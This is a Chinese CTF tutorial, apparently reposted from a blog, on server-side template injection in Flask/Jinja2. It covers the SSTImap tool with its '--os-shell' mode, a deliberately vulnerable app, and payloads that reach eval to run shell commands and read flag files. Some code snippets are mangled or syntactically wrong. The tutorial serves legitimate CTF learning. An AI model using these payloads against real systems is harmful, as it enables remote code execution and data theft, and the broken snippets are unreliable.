欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 游戏 > CTF ssti零基础(一) 模块注入的payload

CTF ssti零基础(一) 模块注入的payload

2024/10/24 11:23:49 来源:https://blog.csdn.net/2301_81040377/article/details/140663096  浏览:    关键词:CTF ssti零基础(一) 模块注入的payload

这里先推荐一个还不错的工具

git clone https://github.com/vladko312/SSTImap.gitcd SSTImappip install requirements.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
命令还是挺多的
有点像sqlmap但是这个暴力多了不用加那么多的参数

./sstimap.py -u http://example.com
./sstimap.py -u http://example.com --os-shell

支持的模板引擎

模板引擎远程代码执行盲注代码评估文件读取文件写入
MakoPython
Jinja2Python
Python (code eval)Python
TornadoPython
NunjucksJavaScript
PugJavaScript
doTJavaScript
MarkoJavaScript
JavaScript (code eval)JavaScript
Dust (<= dustjs-helpers@1.5.0)JavaScript
EJSJavaScript
Ruby (code eval)Ruby
SlimRuby
ERBRuby
Smarty (unsecured)PHP
Smarty (secured)PHP
PHP (code eval)PHP
Twig (<=1.19)PHP
FreemarkerJava
VelocityJava
Twig (>1.19)×××××
Dust (> dustjs-helpers@1.5.0)×××××

但是利用工具梭哈是没有灵魂的,我的ssti也比较烂所以现在开始学

先起一个flask环境

pip install flask

写个文件app.py

from flask import Flask
from flask import request
from flask import render_template_stringapp=Flask(__name__)@app.route('/',methods=['GET','POST'])         
def index():template=''' <p>Hello %s </p>'''%(request.args.get('name'))return render_template_string(template)      # 渲染为html内容if __name__ == '__main__':          # 如果作为脚本运行,而不是被当成模块导入app.run(host='0.0.0.0')
python3 app.py

在这里插入图片描述

在这里插入图片描述
成功,那么继续

解释

先从简单的解释一下

{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('tac /f*').read()")}}()     当前对象x.__class__       x对应类    __bases__        所有基类x.__subclasses__          x的所有子类             __init__      进行初始化
__init__.__globals__           全局的方法、类以及模块
__builtins__          包含eval的模块

诶那么我们再看看思路

思路

拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。

怎么拿基类

().__class__.__bases__:
这个属性返回的是一个元组,包含了当前类的所有直接基类。如果一个类只继承自一个基类,这个元组将只包含一个元素;如果有多个基类(即多继承),元组中则会有多个元素,分别对应这些直接基类。这适用于了解一个类的多继承结构。().__class__.__base__:
相比之下,这个属性返回的是单个对象,即当前类的单一直接基类。在单继承的情况下,这与().__class__.__bases__[0]得到的结果相同。但是,如果一个类是多继承的,使用__base__只会提供第一个直接基类的信息,忽略了其他基类。这意味着它更适合于简单继承结构的查询

在这里插入图片描述
在这里插入图片描述

所以选择用bases
找子类我们就找其中有eval的

().__class__.__bases__[0].__subclasses__()
显示出所有子类

在这里插入图片描述
锁定目标
在这里插入图片描述
找出所有的function\module\class

在这里插入图片描述
找到eval
在这里插入图片描述
写命令
在这里插入图片描述
还有一种是直接使用config也可以

{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /f*').read()")}}config是一个非常重要的特性,用于存储应用的配置信息。Flask应用通过flask.Flask类的实例来管理,而配置通常是通过这个应用实例的config属性来设置和访问的。

常用

x表示基类

- codecs模块
x.__init__.__globals__.__builtins__.['eval']("__import__('codecs').open('/app/flag').read()") - pathlib模块
x.__init__.__globals__.__builtins__.['eval']("__import__('pathlib').Path('/app/flag').read_text()") - io模块
x.__init__.__globals__.__builtins__.['eval']("__import__('io').open('/app/flag').read()") - open函数
x.__init__.__globals__.__builtins__.['eval']("open('/app/flag').read()") 

下面这个会一直更新,因为慢慢积累

有eval的类
<class '_frozen_importlib._ModuleLock'>
<class 'os._wrap_close'>

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com